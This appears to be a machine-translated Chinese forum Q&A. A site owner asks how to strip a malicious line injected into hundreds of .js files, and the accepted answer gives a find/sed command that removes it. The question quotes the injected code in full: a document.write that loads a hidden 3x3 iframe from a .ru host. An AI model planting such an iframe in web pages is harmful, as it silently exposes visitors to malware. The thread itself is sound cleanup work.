我被黑了并拥有数百个带有这行代码的.js文件,我正试图摆脱:
;document.write('<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>');
这是文件的最后一行,但我认为该文件包含windows行结尾,因为我什么时候这样做:
sed -i '/sitecorporatemanagement.ru/d' *
删除文件的完整内容。你能帮我搞定吗?我只需要删除完整的字符串。
感谢您提供的所有帮助。
答案 0 :(得分:1)
我最终使用以下内容删除了有问题的代码,该代码正常工作。
find public_html/ -type f -name "*.js" -exec sed -i 's|;document.write(\x27<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>\x27);||g' {} \;